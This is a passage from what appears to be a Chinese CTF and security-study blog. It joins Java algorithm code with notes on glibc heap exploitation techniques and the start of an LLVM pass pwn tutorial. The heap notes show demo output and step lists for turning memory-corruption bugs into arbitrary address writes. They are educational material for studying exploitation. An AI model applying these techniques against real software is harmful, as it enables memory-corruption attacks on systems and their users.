                    vG = vG + iV[j - 1];
                    wG = wG + iW[j - 1];
                    w = w - iW[j - 1];
                    j = j - 1;
                } else {
                    j = j - 1;
                }
            }
        }
    }
}

串匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import java.util.Hashtable;

public class SequenceAlignmentDemo {
    static int m=10;
    static int n=10;
    static String X="governance";
    static String Y="government";
    static String aY="";
    static String aX="";
    static int d=2;
    static int[][] A=new int[26][26];
    static int[][] M=new int[2][m];
    static int mL=0;
    static{
        for(int i=0;i<26;i++){
            for(int j=0;j<26;j++){
                if(i==j){
                    A[i][j]=0;
                }else{
                    A[i][j]=d*2;
                }
            }
        }
    }
    static String elpha[]={"a","b","c","d","e","f","g","h","i","j","k","l","m","n",
                          "o","p","q","r","s","t","u","v","w","x","y","z"};
    static Integer index[]={0,1,2,3,4,5,6,7,8,9,10,11,12,13,
                            14,15,16,17,18,19,20,21,22,23,24,25};
    static Hashtable<String,Integer> ht=new Hashtable<String,Integer>();
    static{
        for(int i=0;i<26;i++){
            ht.put(elpha[i],index[i]);
        }
    }
    static int[][] optC=new int[m+1][n+1];
    static {
        for(int j=0;j<=m;j++){
            optC[j][0]=j*d;
        }
        for(int j=0;j<=n;j++){
            optC[0][j]=j*d;
        }
    }

    public static void main(String[] args) {
        computeOPT();
        System.out.println("最优匹配代价值为: "+optC[m][n]);
        System.out.println("最优匹配集为: ");
        for(int i=0;i<mL;i++){
            System.out.print("("+M[0][i]+","+M[1][i]+")");
            if(Math.floorMod(i+1,4)==0)
                System.out.print("\n");
        }
        System.out.print("\n");
        System.out.println(aX);
        System.out.println(aY);
    }
    public static void computeOPT(){
        for(int i=1;i<=m;i++){
            for(int j=1;j<=n;j++){
                int zj1=A[(ht.get(X.substring(i-1,i))).intValue()][(ht.get(Y.substring(j-1,j))).intValue()]
                        +optC[i-1][j-1];
                int zj2=d+optC[i-1][j];
                int zj3=d+optC[i][j-1];
                if(zj1<zj2&&zj1<zj3){
                    optC[i][j]=zj1;
                }
                if (zj2<=zj1&&zj2<=zj3){
                    optC[i][j]=zj2;
                }
                if(zj3<=zj1&&zj3<=zj2){
                    optC[i][j]=zj3;
                }
            }
        }
        int i=m;
        int j=n;
        while (i>=1||j>=1){
            int zj1=A[(ht.get(X.substring(i-1,i))).intValue()][(ht.get(Y.substring(j-1,j))).intValue()]
                    +optC[i-1][j-1];
            int zj2=d+optC[i-1][j];
            int zj3=d+optC[i][j-1];
            if(zj1<zj2&&zj1<zj3){
                aX=X.substring(i-1,i)+aX;
                aY=Y.substring(j-1,j)+aY;
                M[0][mL]=i;
                M[1][mL]=j;
                mL=mL+1;
                i--;
                j--;
            }
            if(zj2<=zj1&&zj2<=zj3){
                aY="-"+aY;
                aX=X.substring(i-1,i)+aX;
                i=i-1;
            }
            if(zj3<=zj1&&zj3<=zj2){
                aX="-"+aX;
                aY=Y.substring(j-1,j)+aY;
                j=j-1;
            }
        }
    }
}

发表于 分类于 本文字数： 7.8k 阅读时长 ≈ 28 分钟

First fit

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
演示glibc 的分配机制
glibc 使用首次适应算法选择空闲的堆块
如果有一个空闲堆块且足够大，那么 malloc 将选择它
如果存在 use-after-free 的情况那可以利用这一特性
首先申请两个比较大的 chunk
第一个 a = malloc(0x512) 在: 0x1682010
第二个 b = malloc(0x256) 在: 0x1682530
我们可以继续分配它
现在我们把 "AAAAAAAA" 这个字符串写到 a 那里 
第一次申请的 0x1682010 指向 AAAAAAAA
接下来 free 掉第一个...
接下来只要我们申请一块小于 0x512 的 chunk，那就会分配到原本 a 那里: 0x1682010
第三次 c = malloc(0x500) 在: 0x1682010
我们这次往里写一串 "CCCCCCCC" 到刚申请的 c 中
第三次申请的 c 0x1682010 指向 CCCCCCCC
第一次申请的 a 0x1682010 指向 CCCCCCCC
可以看到，虽然我们刚刚看的是 a 的，但它的内容却是 "CCCCCCCC"

操作

  • 存在uaf，首先释放一个堆块p1，里面有内容
  • 再申请一个相同大小的堆块p2
  • 这两个堆块实际上指向同一个内存区域

结果

这两个堆块实际上指向同一个内存区域

UAF

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
申请0x20大小的内存p1 的地址: 0x1f11010
把p1[1]赋值为Printf函数，然后打印出"Hello CTFshow"
Hello CTFshow

free 掉 p1
因为并没有置为null，所以p1[1]仍然是Printf函数，仍然可以输出打印了"Hello CTFshow again"
Hello CTFshow again
接下来再去malloc一个p2，会把释放掉的p1给分配出来，可以看到他俩是同一地址的
p2 的地址: 0x1f11010
p1 的地址: 0x1f11010
然后把p2[1]给改成demoflag也就是system函数

Then get the flag && enjoy it !

操作

  • free掉chunk1
  • 再申请一个相同大小的chunk2，修改内容
  • 再使用chunk1，会输出修改内容

结果

chunk1和chunk2是同一个chunk

Double Free

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
演示 fastbin 的 double free
首先申请 3 个 chunk
第一个 malloc(8): 0x188f010
第二个 malloc(8): 0x188f030
第三个 malloc(8): 0x188f050
free 掉第一个
当我们再次 free 0x188f010 的时候, 程序将会崩溃因为 0x188f010 在 free 链表的第一个位置上
我们先 free 0x188f030.
现在我们就可以再次 free 0x188f010 了, 因为他现在不在 free 链表的第一个位置上
现在空闲链表是这样的 [ 0x188f010, 0x188f030, 0x188f010 ]. 如果我们 malloc 三次, 我们会得到两次 0x188f010 
第一次 malloc(8): 0x188f010
第二次 malloc(8): 0x188f030
第三次 malloc(8): 0x188f010

操作

  • 申请3个chunk，p1，p2，p3
  • free p1，再freep2，形成 p2 -> p1
  • 再free p1 形成 p1 -> p2 -> p1
  • 连续申请三次chunk

结果

得到两个相同地址的chunk

Fastbin_dup_into_stack – Double free

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
通过欺骗 malloc 使得返回一个指向受控位置的指针（本例为栈上）
通过 malloc 申请到 0x7ffec12adb40.
先申请3 个 chunk
chunk a: 0x209a010
chunk b: 0x209a030
chunk c: 0x209a050
free 掉 chunk a
如果还对 0x209a010 进行 free, 程序会崩溃。因为 0x209a010 现在是 fastbin 的第一个
先对 b 0x209a030 进行 free
接下来就可以对 0x209a010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了
现在 fastbin 的链表是 [ 0x209a010, 0x209a030, 0x209a010 ] 接下来通过修改 0x209a010 上的内容来进行攻击.
第一次 malloc(8): 0x209a010
第二次 malloc(8): 0x209a030
现在 fastbin 表中只剩 [ 0x209a010 ] 了
接下来往 0x209a010 栈上写一个假的 size，这样 malloc 会误以为那里有一个空闲的 chunk，从而申请到栈上去
现在覆盖 0x209a010 前面的 8 字节，修改 fd 指针指向 stack_var 前面 0x20 的位置
第三次 malloc(8): 0x209a010, 把栈地址放到 fastbin 链表中
这一次 malloc(8) 就申请到了栈上去: 0x7ffec12adb40

操作

  • 申请3个chunk，p1，p2，p3
  • free p1，再freep2，形成 p2 -> p1
  • 再free p1 形成 p1 -> p2 -> p1
  • 修改p1的fd指向任意地址，栈上都可
  • 连续申请三次chunk
  • 第四次申请chunk会申请到目标地址

结果

任意地址读写

Fastbin_dup_consolidate

原理

1
2
3
4
5
6
申请两个 fastbin 范围内的 chunk: p1=0xbba010 p2=0xbba030
先 free p1
去申请 largebin 大小的 chunk，触发 malloc_consolidate(): p3=0xbba050
因为 malloc_consolidate(), p1 会被放到 unsorted bin 中
这时候 p1 不在 fastbin 链表的头部了，所以可以再次 free p1 造成 double free
现在 fastbin 和 unsortedbin 中都放着 p1 的指针，所以我们可以 malloc 两次都到 p1: 0xbba010 0xbba010

操作

- 1.free 一个fastbin大小的chunk 1
- 2.申请一个largin bin 大小的chunk，此时因为 malloc_consolidate(), chunk1 会被放到 unsorted bin 中
- 再次free chunk1

结果

​ 现在 fastbin 和 unsortedbin 中都放着 p1 的指针，所以我们可以 malloc 两次都到 p1: 0xbba010 0xbba010，任意地址读写

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
当你在已知位置有指向某个区域的指针时，可以调用 unlink
最常见的情况是易受攻击的缓冲区，可能会溢出并具有全局指针
本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入

全局变量 chunk0_ptr 在 0x6020d0, 指向 0x161e010
我们想要破坏的 chunk 在 0x161e0a0
在 chunk0 那里伪造一个 chunk
我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.
我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.
通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk 的 fd: 0x6020b8
Fake chunk 的 bk: 0x6020c0

现在假设 chunk0 中存在一个溢出漏洞，可以更改 chunk1 的数据
通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的
如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 0x80
接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块

现在释放掉 chunk1，会触发 unlink，合并两个 free chunk
此时，我们可以用 chunk0_ptr 覆盖自身以指向任意位置
chunk0_ptr 现在指向我们想要的位置，我们用它来覆盖我们的 victim string。
之前的值是: Hello!~
新的值是: BBBBAAAA

操作

​ fd = goal - 0x18

​ bk = goal - 0x10

结果

任意地址写

house_of_spirit

原理

1
2
3
4
5
6
7
8
9
10
11
12
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它，这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针
这块区域 (长度为: 80) 包含两个 chunk. 第一个在 0x7fff5f0e7268 第二个在 0x7fff5f0e72a8.
构造 fake chunk 的 size，要比 chunk 大 0x10（因为 chunk 头），同时还要保证属于 fastbin，对于 fastbin 来说 prev_inuse 不会改变，但是其他两个位需要注意都要位 0
next chunk 的大小也要注意，要大于 0x10 小于 av->system_mem（128kb）
现在，我们拿伪造的那个 fake chunk 的地址进行 free, 0x7fff5f0e7270.
free!
现在 malloc 的时候将会把 0x7fff5f0e7270 给返回回来
malloc(0x30): 0x7fff5f0e7270
Finish!

操作

构造fake fastbin chunk，free掉这个chunk，再次申请可以拿回这个chunk

前提有一个可控的指针

结果

任意地址写，前提有可控指针

Posion_null_byte

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
当存在 off by null 的时候可以使用该技术
申请 0x100 的 chunk a
a 在: 0x1eb2010
因为我们想要溢出 chunk a，所以需要知道他的实际大小: 0x108
b: 0x1eb2120
c: 0x1eb2330
另外再申请了一个 chunk c：0x1eb2440，防止 free 的时候与 top chunk 发生合并的情况
会检查 chunk size 与 next chunk 的 prev_size 是否相等，所以要在后面一个 0x200 来绕过检查
b 的 size: 0x211
假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上
b 现在的 size: 0x200
c 的 prev_size 是 0x210
但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里，我们将会成功绕过 chunk 的检测 chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
申请一个 0x100 大小的 b1: 0x1eb2120
现在我们 malloc 了 b1 他将会放在 b 的位置，这时候 c 的 prev_size 依然是: 0x210
但是我们之前写 0x200 那个地方已经改成了: f0
接下来 malloc 'b2', 作为 'victim' chunk.
b2 申请在: 0x1eb2230
现在 b2 填充的内容是:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210，所以会把他俩给合并，但是这时候里面还包含 b2 呐.
这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了
d 申请到了: 0x1eb2120，我们填充一下 d 为 "D"
现在 b2 的内容就是:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

操作

  • 申请0x100大小的chunk a，0x200大小的chunk b，chunk c 防合并
  • free b
  • 通过off-by-one覆写chunk b的size从0x211->0x200
  • chunk b中b+0x1f0的位置放prev_size = 0x200 我们将会成功绕过 chunk 的检测 chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
  • 申请一个0x100的b1，b1会放到b的位置，c的prev_size仍然是0x210，但是我们之前写 0x200 那个地方已经改成了: f0
  • 申请b2，作为 ‘victim’ chunk
  • free b1 和 c，由于c的prev_size是0x210，会合并b1和c，此时b2仍在

结果

在一个大的free堆块中存在一个未被free的堆块

House_of_lore

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
定义了两个数组stack_buffer_1 在 0x7ffc7a946070
stack_buffer_2 在 0x7ffc7a946050
申请第一块属于 fastbin 的 chunk 在 0x211c010
在栈上伪造一块 fake chunk
设置 fd 指针指向 victim chunk，来绕过 small bin 的检查，这样的话就能把堆栈地址放在到 small bin 的列表上
设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2，设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针另外再分配一块，避免与 top chunk 合并 0x211c080
Free victim chunk 0x211c010, 他会被插入到 fastbin 中

此时 victim chunk 的 fd、bk 为零
victim->fd: (nil)
victim->bk: (nil)

这时候去申请一个 chunk，触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理，最终被整理到 small bin 中 0x211c010
现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址
victim->fd: 0x7f6610ee7bd8
victim->bk: 0x7f6610ee7bd8

现在模拟一个可以覆盖 victim 的 bk 指针的漏洞，让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
最后 malloc 一次会返回 victim->bk 指向的那里
p4 = malloc(100)

在最后一个 malloc 之后，stack_buffer_2 的 fd 指针已更改 0x7f6610ee7bd8

p4 在栈上 0x7ffc7a946080

操作

  • 在栈上定义了两个数组 stack1，stack2
  • 申请了一块 fastbin chunk，在栈上伪造一块 fake chunk，设置stack1 fd -> victim chunk，绕过small bin检查
  • 设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2 & 设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1
  • 再分配个chunk，避免和top chunk 合并
  • free victim chunk，会被放入fastbin中同时fd、bk为0
  • 再申请一个large bin chunk触发xx使得victim chunk 进入 unsortedbin
  • fd 和 bk 被更新为main_arena_88
  • 存在一个漏洞可以使得victim的bk -> stack 1
  • 申请一个大小相同的chunk取出victim chunk,并且它的bk为修改掉的victim的bk
  • 再次malloc一次会返回 victim -> bk 指向的那里，也就是stack1，stack2 fd 指针也更改main_arena_88

结果

任意地址malloc

Overlapping_chunks

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
这是一个简单的堆块重叠问题，首先申请 3 个 chunk
这三个 chunk 分别申请到了:
p1：0x2088010
p2：0x2088110
p3：0x2088210
给他们分别填充"1""2""3"

free 掉 p2
p2 被放到 unsorted bin 中
现在假设有一个堆溢出漏洞，可以覆盖 p2
为了保证堆块稳定性，我们至少需要让 prev_inuse 为 1，确保 p1 不会被认为是空闲的堆块
我们将 p2 的大小设置为 385, 这样的话我们就能用 376 大小的空间

现在让我们分配另一个块，其大小等于块p2注入大小的数据大小
malloc 将会把前面 free 的 p2 分配给我们（p2 的 size 已经被改掉了）

p4 分配在 0x2088110 到 0x2088288 这一区域
p3 从 0x2088210 到 0x2088288
p4 应该与 p3 重叠，在这种情况下 p4 包括所有 p3
这时候通过编辑 p4 就可以修改 p3 的内容，修改 p3 也可以修改 p4 的内容

接下来验证一下，现在 p3 与 p4:
p4 = 22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222
p3 = 3333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333�

如果我们使用 memset(p4, '4', 376), 将会:
p4 = 44444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444�
p3 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444�

操作

  • 申请三个堆块大小为0xf8，0xf8，0x78
  • free p2，p2被放到 unsorted bin 中
  • 假设存在一个堆溢出漏洞，可以覆盖p2

结果

堆块重叠

Overlapping_chunks_2

原理

操作

结果

Mmap_overlapping_chunks

原理

操作

结果

Unsorted_bin_attack

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsorted bin attack 实现了把一个超级大的数（unsorted bin 的地址）写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备

我们准备把这个地方 0x7ffe5b09ba18 的值 0 更改为一个很大的数

一开始先申请一个比较正常的 chunk: 0x14fe010
再分配一个避免与 top chunk 合并

当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中，同时它的 bk 指针为 0x7efe12f93b78
现在假设有个漏洞，可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址（想要改为超大值的那个地方）减去 0x10 写到 bk 指针:0x7ffe5b09ba08

再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7ffe5b09ba18: 0x7efe12f93b78

操作

  • 申请一个chunk p1 (0x410)，再申请一个chunk p2避免与top chunk 合并
  • free p1，p1会被放入 unsorted bin 中，同时fd 和 bk指针为main_arena_88
  • 假设有个漏洞，可以修改p1的bk指针
  • 修改 bk -> (goal - 0x10)
  • 再malloc相同大小的chunk p，goal已经为unsorted bin 的地址

结果

修改任意位置为 一个很大的数

Large_bin_attack

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
跟 unsorted bin attack 实现的功能差不多，都是把一个地址的值改为一个很大的数

先来看一下目标:
stack_var1 (0x7fff83c2e410): 0
stack_var2 (0x7fff83c2e418): 0

分配第一个 large chunk: 0x6ac000
再分配一个 fastbin 大小的 chunk，来避免 free 的时候下一个 large chunk 与第一个合并了

申请第二个 large chunk 在: 0x6ac360
同样在分配一个 fastbin 大小的 chunk 防止合并掉

最后申请第三个 large chunk 在: 0x6ac7a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并

free 掉第一个和第二个 chunk，他们会被放在 unsorted bin 中 [ 0x6ac360 <--> 0x6ac000 ]

现在去申请一个比他俩小的，然后会把第一个分割出来，第二个则被整理到 largebin 中，第一个剩下的会放回到 unsortedbin 中 [ 0x6ac0a0 ]

free 掉第三个，他会被放到 unsorted bin 中: [ 0x6ac7a0 <--> 0x6ac0a0 ]

假设有个漏洞，可以覆盖掉第二个 chunk 的 "size" 以及 "bk"、"bk_nextsize" 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部（largebin 会按照大小排序）。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10，bk_nextsize 为 stack_var2-0x20

再次 malloc，会把释放的第三个 chunk 插入到 largebin 中，同时我们的目标已经改写了:
stack_var1 (0x7fff83c2e410): 0x6ac7a0
stack_var2 (0x7fff83c2e418): 0x6ac7a0

操作

  • 分配第一个large bin chunk，再申请一个fast bin chunk 隔绝，避免和下一个large bin chunk合并
  • 分配第二个large bin chunk，再申请一个fast bin chunk 隔绝，避免和下一个large bin chunk合并
  • 分配第三个large bin chunk，再申请一个fast bin chunk 隔绝，避免和下一个large bin chunk合并
  • free chunk1 和 chunk2 均被放入unsorted bin 中
  • 现在去申请一个比他俩小的，然后会把第一个分割出来，第二个则被整理到 largebin 中，第一个剩下的会放回到 unsortedbin 中
  • free chunk3 放到unsorted bin 中
  • 存在漏洞，可以覆盖掉第二个chunk 的size bk bk_nextsize
  • 减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部（largebin 会按照大小排序）。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x1
  • 再次 malloc，会把释放的第三个 chunk 插入到 largebin 中，同时我们的目标已经改写了

结果

​ 栈上地址被覆盖

发表于 分类于 本文字数： 6k 阅读时长 ≈ 22 分钟

LLVM PASS PWN（一）

前置知识简述

为什么要编译程序

机器语言是用1和0组成的代码，但机器是识别不了1和0的，更具体的是如何识别的呢？对机器电路进行设计之后，机器能识别高电平还是低电平，刚好与2进制很相似，想输入0就给机器输入低电平，想输入1，就给机器输入高电平，所以就看到了1和0的表示形式

机器语言它是计算机唯一能识别和执行的语言，但它的直观性差，可读性差，比如一串11110000111100001111机器可以快速识别是什么但是我们很难理解，再比如我们想要在屏幕上输出hello world那我们该如何用二进制来表示呢，所以汇编语言就诞生了

汇编语言用助记符来表示机器指令中的操作码和操作数的指令系统，如a = 1，我们不需要去用二进制来理解，我们完全可以利用mov a, 1进行理解，那有没有更简单的方法呢，比如现在要输出hello wrold，还是需要十几行的汇编代码的，所以高级语言就诞生了

高级语言是一种更接近人类的自然语言和数学语言的语言，比如想要a = 1，很直观就是a = 1，在很大程度上减少编程人员的编写量

但是问题来了，机器只懂0和1那怎么才能让高级语言被机器识别，所以就有了编译，将高级语言（源语言）翻译成汇编语言或机器语言（目标语言），编译的根本目的就是把源代码变成目标代码

编译的过程是什么

编译过程主要可以划分为前端与后端，笔者用一张图简述一下

image.png

前端把源代码翻译成IR，后端把IR编译成目标平台的机器码，这里笔者在查阅资料的时候发现有些会将生成中间代码放入前端，而有些资料会将生成中间代码放入后端

在词法分析中编译器读入源代码，经过词法分析器识别出Token，比如词法分析器中识别出的Token可以是int, return, {, }等

在语法分析中会把上面的Token串给转换成一个抽象语法树AST，AST树反映了程序的语法结构

在语义分析中需要做的任务是理解语义，语句要做什么，如for是需要去实现循环，if是判断等

在前端完成之后，会生成中间代码，统一优化中间代码，再去将中间代码生成目标代码

前置知识这里笔者简述了一下，具体的可以移步编译原理

  • LLVM

    LLVM IR & LLVM Pass

    gcc这个最经典的编译器提供的是一整套服务，前端和后端耦合在了一起，导致了如果一个新的编程语言出现可能需要设计一个新的IR以及实现这个IR的后端，如果出现了一个新的平台就要实现一个从自己的IR到新平台的后端，针对此类问题就出现了LLVM

    不同的前后端使用统一的中间代码，这样一个新的编程语言出现只需要实现一个新的前端，如果出现了一个新的平台只需要实现一个新的后端

    LLVM IR有三种表示形式

    • 可读IR，类似汇编代码，可以给人看的，后缀.ll
    • 不可读二进制IR，后缀.bc
    • 保存在内存中，内存格式

    LLVM Pass 是一个框架设计，是LLVM系统里重要的组成部分，因为LLVM Pass负责LLVM编译器绝大部分的工作，一系列的Pass组合，构建了编译器的转换和优化部分，抽象成结构化的编译器代码。

    在实现上，LLVM的核心库中会给你一些 Pass类 去继承。你需要实现它的一些方法。 最后使用LLVM的编译器会把它翻译得到的IR传入Pass里，给你遍历和修改。

    LLVM Pass的用处是插桩，机器无关的代码优化，静态分析，代码混淆等

    LLVM 工具

    以下内容来自LLVM Pass入门导引

    • llvm-as：把LLVM IR从人类能看懂的文本格式汇编成二进制格式。注意：此处得到的不是目标平台的机器码。
    • llvm-dis：llvm-as的逆过程，即反汇编。 不过这里的反汇编的对象是LLVM IR的二进制格式，而不是机器码。
    • opt：优化LLVM IR。输出新的LLVM IR。
    • llc：把LLVM IR编译成汇编码。需要用as进一步得到机器码。
    • lli：解释执行LLVM IR。

    Clang

    Clang 是 LLVM 的前端，可以用来编译 C，C++，ObjectiveC 等语言。Clang 的功能包括：词法分析、语法分析、语义分析、生成中间中间代码LLVM Intermediate Representation (LLVM IR)。

    LLVM & Clang环境安装 & 工具测试

    ubuntu20.04下安装LLVM + Clang如下

    sudo apt install clang-12

    sudo apt install clang-8

    sudo apt install llvm-12

    sudo apt install llvm-8

    llvm-12安装之后可以使用opt-12，今年的ciscn的LLVM PASS PWN就是opt-12，一般题目都会给出opt的版本。ubuntu20.04应该自带opt-10如果没有的话，sudo apt install clang-10 && sudo apt install llvm-10

    上面的做题环境都安装完成之后，先写一个c文件，利用Clang将c文件编译成.ll, .bc等格式看一下是否是如上所说，c文件如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #include <stdio.h>
    #include <unistd.h>

    int main(int argc, char **argv){
        char name[0x20];
        puts("hello world");
        puts("plz input your name");
        read(0, name, 0x1F);
        printf("biubiubiu");
        return 0;
    }

    首先是.c->.ll，clang-12 -emit-llvm -S test.c -o test.ll，test.ll(生成的IR文本文件)如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    ; ModuleID = 'test.c'
    source_filename = "test.c"
    target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
    target triple = "x86_64-pc-linux-gnu"

    @.str = private unnamed_addr constant [12 x i8] c"hello world\00", align 1
    @.str.1 = private unnamed_addr constant [20 x i8] c"plz input your name\00", align 1
    @.str.2 = private unnamed_addr constant [10 x i8] c"biubiubiu\00", align 1

    ; Function Attrs: noinline nounwind optnone uwtable
    define dso_local i32 @main(i32 %0, i8** %1) #0 {
      %3 = alloca i32, align 4
      %4 = alloca i32, align 4
      %5 = alloca i8**, align 8
      %6 = alloca [32 x i8], align 16
      store i32 0, i32* %3, align 4
      store i32 %0, i32* %4, align 4
      store i8** %1, i8*** %5, align 8
      %7 = call i32 @puts(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0))
      %8 = call i32 @puts(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.1, i64 0, i64 0))
      %9 = getelementptr inbounds [32 x i8], [32 x i8]* %6, i64 0, i64 0
      %10 = call i64 @read(i32 0, i8* %9, i64 31)
      %11 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.2, i64 0, i64 0))
      ret i32 0
    }

    declare dso_local i32 @puts(i8*) #1

    declare dso_local i64 @read(i32, i8*, i64) #1

    declare dso_local i32 @printf(i8*, ...) #1

    attributes #0 = { noinline nounwind optnone uwtable "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" }
    attributes #1 = { "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" }

    !llvm.module.flags = !{!0}
    !llvm.ident = !{!1}

    !0 = !{i32 1, !"wchar_size", i32 4}
    !1 = !{!"Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"}

    上面的IR很直观，之前提到LLVM PASS的一个用处是优化IR代码，会将上面的可以优化的进行优化

    其次是.c->.bc，clang-12 -emit-llvm -c test.c -o test.bc，bc是不可读二进制

    img

    然后是.ll -> .bc，llvm-as test.ll -o test.bc，结果和上面的一样

    接着是.bc - > .ll，llvm-dis test.bc -o test.ll，同上

    最后还有一个.bc -> .s， llc test.bc -o test.s，将字节码的二进制格式文件转换为本地的汇编文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    .text
        .file   "test.c"
        .globl  main                    # -- Begin function main
        .p2align    4, 0x90
